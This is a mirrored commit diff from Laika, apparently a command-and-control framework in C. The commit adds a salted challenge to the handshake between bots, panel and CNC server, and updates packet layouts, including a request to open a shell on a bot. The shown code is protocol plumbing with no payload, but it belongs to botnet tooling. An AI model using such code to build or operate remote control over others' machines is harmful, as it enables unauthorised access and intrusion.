1
0
mirror of https://github.com/CPunch/Laika.git synced 2025-09-27 04:10:08 +00:00

CNC, Lib, Bot, Shell: New 2nd stage handshake

- New packet, LAIKAPKT_PEER_LOGIN_REQ
- All peers must prove they have access to the sent pubkey by passing a challenge. A salt is now sent on the handshake response packet, which must be encrypted and sent back through the PEER_LOGIN packet
- Protcol minor version incremented to 0.4
This commit is contained in:
2022-06-29 20:31:22 -05:00
parent db05f2eb13
commit 8092a636ca
12 changed files with 126 additions and 66 deletions

View File

@@ -15,6 +15,8 @@
#define LAIKA_SHELL_DATA_MAX_LENGTH 2048
#define LAIKA_MAX_SHELLS 16
#define LAIKA_HANDSHAKE_SALT_LEN 32
/*
first handshake between peer & cnc works as so:
- peer connects to cnc and sends a LAIKAPKT_HANDSHAKE_REQ with the peer's pubkey, hostname &
@@ -44,19 +46,29 @@ enum
* LAIKAPKT_SIZE pktSize;
* LAIKAPKT_ID pktID;
*/
LAIKAPKT_HANDSHAKE_REQ, /* first packet sent by peer & received by cnc */
LAIKAPKT_HANDSHAKE_REQ,
/* first packet sent by peer & received by cnc */
/* layout of LAIKAPKT_HANDSHAKE_REQ: *NOTE* ALL DATA IN THIS PACKET IS SENT IN PLAINTEXT!!
* uint8_t laikaMagic[LAIKA_MAGICLEN]; -- LAIKA_MAGIC
* uint8_t majorVer;
* uint8_t minorVer;
* uint8_t osType;
* uint8_t pubKey[crypto_kx_PUBLICKEYBYTES]; -- freshly generated pubKey to encrypt decrypted
* nonce with char hostname[LAIKA_HOSTNAME_LEN]; -- can be empty (ie. all NULL bytes) char
* inet[LAIKA_INET_LEN]; -- can be empty (ie. all NULL bytes)
* uint8_t pubKey[crypto_kx_PUBLICKEYBYTES]; -- peer's public cryptographic key
* char hostname[LAIKA_HOSTNAME_LEN]; -- can be empty (ie. all NULL bytes)
* char inet[LAIKA_INET_LEN]; -- can be empty (ie. all NULL bytes)
*/
LAIKAPKT_HANDSHAKE_RES,
/* layout of LAIKAPKT_HANDSHAKE_RES:
* uint8_t cncEndian;
* uint8_t cncSalt[LAIKA_HANDSHAKE_SALT_LEN];
*/
LAIKAPKT_PEER_LOGIN_REQ,
/* second packet sent by peer & received by cnc there is no response packet. the socket
connection will be closed if an unexpected peer type is provided. this is to prove that the peer
is the public key they say they are. */
/* layout of LAIKAPKT_PEER_LOGIN_REQ
* uint8_t peerType;
* uint8_t cncSalt[LAIKA_HANDSHAKE_SALT_LEN];
*/
LAIKAPKT_PINGPONG,
/* layout of LAIKAPKT_PINGPONG:
@@ -78,12 +90,8 @@ enum
* char buf[VAR_PACKET_LENGTH-sizeof(uint32_t)];
*/
/* =======================================[[ Auth ]]======================================== */
LAIKAPKT_AUTHENTICATED_HANDSHAKE_REQ, /* second packet sent by authenticated peers (panel).
there is no response packet */
/* layout of LAIKAPKT_STAGE2_HANDSHAKE_REQ
* uint8_t peerType;
*/
LAIKAPKT_AUTHENTICATED_ADD_PEER_RES, /* notification that a peer has connected to the cnc */
LAIKAPKT_AUTHENTICATED_ADD_PEER_RES,
/* notification that a peer has connected to the cnc */
/* layout of LAIKAPKT_AUTHENTICATED_ADD_PEER_RES
* uint8_t pubKey[crypto_kx_PUBLICKEYBYTES]; -- pubkey of said bot
* char hostname[LAIKA_HOSTNAME_LEN];
@@ -92,14 +100,15 @@ enum
* uint8_t peerType;
* uint8_t osType;
*/
LAIKAPKT_AUTHENTICATED_RMV_PEER_RES, /* notification that a peer has disconnected from the cnc
*/
LAIKAPKT_AUTHENTICATED_RMV_PEER_RES,
/* notification that a peer has disconnected from the cnc */
/* layout of LAIKAPKT_AUTHENTICATED_RMV_PEER_RES
* uint8_t pubKey[crypto_kx_PUBLICKEYBYTES]; -- pubkey of said bot
* uint8_t peerType;
*/
LAIKAPKT_AUTHENTICATED_SHELL_OPEN_REQ, /* panel requesting cnc open a shell on bot. there is no
response packet, shell is assumed to be open */
LAIKAPKT_AUTHENTICATED_SHELL_OPEN_REQ,
/* panel requesting cnc open a shell on bot. there is no response packet, shell is assumed to be
* open */
/* layout of LAIKAPKT_AUTHENTICATE_OPEN_SHELL_REQ
* uint8_t pubKey[crypto_kx_PUBLICKEYBYTES]; -- pubkey of said bot
* uint16_t cols;

View File

@@ -51,6 +51,7 @@ struct sLaika_peer
uint8_t peerPub[crypto_kx_PUBLICKEYBYTES]; /* connected peer's public key */
uint8_t inKey[crypto_kx_SESSIONKEYBYTES], outKey[crypto_kx_SESSIONKEYBYTES];
char hostname[LAIKA_HOSTNAME_LEN], inet[LAIKA_INET_LEN], ipStr[LAIKA_IPSTR_LEN];
uint8_t salt[LAIKA_HANDSHAKE_SALT_LEN]; /* salt passed from the cnc's handshake response */
struct sLaika_pollList *pList; /* pollList we're activeList in */
struct sLaika_peerPacketInfo *packetTbl; /* const table to pull pkt data from */
void *uData; /* data to be passed to pktHandler */
@@ -68,6 +69,9 @@ struct sLaika_peer *laikaS_newPeer(struct sLaika_peerPacketInfo *packetTbl,
void *onPollFailUData, void *uData);
void laikaS_freePeer(struct sLaika_peer *peer);
void laikaS_setSalt(struct sLaika_peer *peer, uint8_t *salt);
void laikaS_genSalt(struct sLaika_peer *peer);
void laikaS_setSecure(struct sLaika_peer *peer, bool flag);
void laikaS_emptyOutPacket(struct sLaika_peer *peer,
LAIKAPKT_ID id); /* for sending packets with no body */

View File

@@ -6,11 +6,11 @@ const char *laikaD_getPacketName(LAIKAPKT_ID id)
const char *PKTNAMES[] = {"LAIKAPKT_VARPKT",
"LAIKAPKT_HANDSHAKE_REQ",
"LAIKAPKT_HANDSHAKE_RES",
"LAIKAPKT_PEER_LOGIN_REQ",
"LAIKAPKT_PINGPONG",
"LAIKAPKT_SHELL_OPEN",
"LAIKAPKT_SHELL_CLOSE",
"LAIKAPKT_SHELL_DATA",
"LAIKAPKT_AUTHENTICATED_HANDSHAKE_REQ",
"LAIKAPKT_AUTHENTICATED_ADD_PEER_RES",
"LAIKAPKT_AUTHENTICATED_RMV_PEER_RES",
"LAIKAPKT_AUTHENTICATED_SHELL_OPEN_REQ"};

View File

@@ -28,6 +28,9 @@ struct sLaika_peer *laikaS_newPeer(struct sLaika_peerPacketInfo *pktTbl,
memset(peer->inet, 0, LAIKA_INET_LEN);
memset(peer->ipStr, 0, LAIKA_IPSTR_LEN);
/* generate peer's salt */
laikaS_genSalt(peer);
return peer;
}
@@ -37,6 +40,16 @@ void laikaS_freePeer(struct sLaika_peer *peer)
laikaM_free(peer);
}
void laikaS_setSalt(struct sLaika_peer *peer, uint8_t *salt)
{
memcpy(peer->salt, salt, LAIKA_HANDSHAKE_SALT_LEN);
}
void laikaS_genSalt(struct sLaika_peer *peer)
{
randombytes_buf(peer->salt, LAIKA_HANDSHAKE_SALT_LEN);
}
/* ===================================[[ Start/End Packets ]]=================================== */
void laikaS_emptyOutPacket(struct sLaika_peer *peer, LAIKAPKT_ID id)